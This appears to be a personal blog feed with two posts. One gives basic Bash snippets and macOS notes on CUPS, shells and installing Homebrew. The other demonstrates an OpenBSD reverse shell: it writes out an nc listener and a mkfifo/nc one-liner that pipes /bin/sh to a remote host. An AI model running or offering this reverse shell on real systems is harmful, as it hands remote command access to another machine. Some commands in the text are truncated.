Bash - Snippets

some Bash snippets Change Working Directory Switch the Working Directory to the Base Path where the Scripts remains. Helpfull for Includes, Log Files, Relative Path and so on … #!/usr/bin/env bash script_path=$(dirname "$0") cd "$script_path" Check Return Code Run a Command, store the Return Code, and check if it was successfull or failed #!/usr/bin/env sh check_ret () { if [[ "$ret" == "0" ]]; then echo "Command terminated sucessfully" else echo "Command returned an Error: ${ret}" fi } which bash > /dev/null 2>&1 ret=$?


some adaption for macOS CUPS enable cups cupsctl WebInterface=yes http://localhost:631/printers/ Shell macOS is using zsh since while. If you wanna switch back to bash, here some Notes …" Switch to Bash chsh -s /bin/bash Switch to Zsh chsh -s /bin/zsh install brew the famous package manager for macOS /bin/bash -c "$(curl -fsSL" install keychain if you work with ssh agent, you may wanna try keychain … brew install keychain build .

OpenBSD - ReverseShell

Reverse Shells Test it Listen on Host A Set Lister on Host A ( hostA # nc -l 4242 Start Reverse Shell on Host B hostB # rm /tmp/f; mkfifo /tmp/f; /bin/sh -i 2>&1 </tmp/f |nc 4242 >/tmp/f here we are hostA # hostname hostA.somewhere hostA # nc -l 4242 hostB # hostname hostB.somewhere nice ;) Any Comments ? sha256: 0a5d01e633e102b0f3e258db89028946a247ef2296eab8dbf8819bc7472779c3